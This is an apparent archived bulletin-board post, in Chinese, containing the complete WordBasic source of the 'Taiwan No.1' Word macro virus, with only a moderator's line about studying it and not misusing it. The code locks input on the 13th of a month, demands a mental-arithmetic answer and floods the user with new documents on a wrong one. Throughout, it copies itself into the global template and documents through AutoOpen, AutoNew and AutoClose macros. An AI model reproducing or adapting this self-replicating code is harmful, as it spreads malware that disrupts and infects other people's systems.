absmiddle Taiwan No.1 原始碼


[解說] [版主] 觀摩觀摩可以, 別拿去做壞事呀^_^ foolman.bbs@bach.mc.ntu (Cogito, ergo sum.): Dim Shared nm(4) Sub MAIN DisableInput 1 If Day(Now()) = 13 Then try: On Error Goto 0 On Error Goto try test = - 1 con = 1 tog$ = "" i = 0 While test = - 1 For i = 0 To 4 nm(i) = Int(Rnd() * 10000) con = (con * nm(i)) If i = 4 Then tog$ = tog$ + Str$(nm(4)) + " =?" Goto beg End If tog$ = tog$ + Str$(nm(i)) + " *" Next i rem 隨機選出四個千位數, 以便等一下的遊戲 beg: Beep rem 電腦發出" 嗶 "一聲 ans$ = InputBox$("今天是 " + Date$() + " ,跟你玩一個心算遊戲" + Chr$(13) + \ "若你答錯,只好接受震撼教育.............." + Chr$(13) + \ tog$, "台灣 NO.1 Macro Virus") rem 開個對話盒, 以便輸入解答用 If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then MsgBox "恭賀你答對了,按確定就告訴你想知道的....", \ "台灣 NO.1 Macro Virus" FileNewDefault CenterPara FormatFont .Font = "細明體", .Points = 16, .Bold = 1, .Underline = 1 Beep Insert "何謂巨集病毒?" InsertPara Beep Insert "答案:" Italic 1 Insert "我就是....." InsertPara InsertPara Italic 0 FormatFont .Font = "細明體", .Points = 16, .Bold = 1, .Underline = 1 Beep Insert "如何預防巨集病毒?" InsertPara Beep Insert "答案:" Italic 1 Insert "不要看我....." Goto exit Else For j = 1 To 20 Beep FileNewDefault Next j CenterPara FormatFont .Font = "細明體", .Points = 16, .Bold = 1, .Underline = 1 Insert "巨集病毒" Goto try End If Wend End If nor = CountMacros(0) If nor > 0 Then For kk = 1 To nor If MacroName$(kk, 0) = "AutoOpen" Then t = 1 End If Next kk End If file$ = FileName$() filem$ = file$ + ":AutoOpen" If t <> 1 Then MacroCopy filem$, "AutoOpen" MacroCopy filem$, "AutoNew" MacroCopy filem$, "AutoClose" End If nor1 = CountMacros(1) If nor1 > 0 Then For kkk = 1 To nor1 If MacroName$(kkk, 1) = "AutoOpen" Then tt = 1 End If Next kkk End If If tt <> 1 Then FileSaveAs .Format = 1 MacroCopy "AutoOpen", filem$ End If exit: End Sub
上一層目錄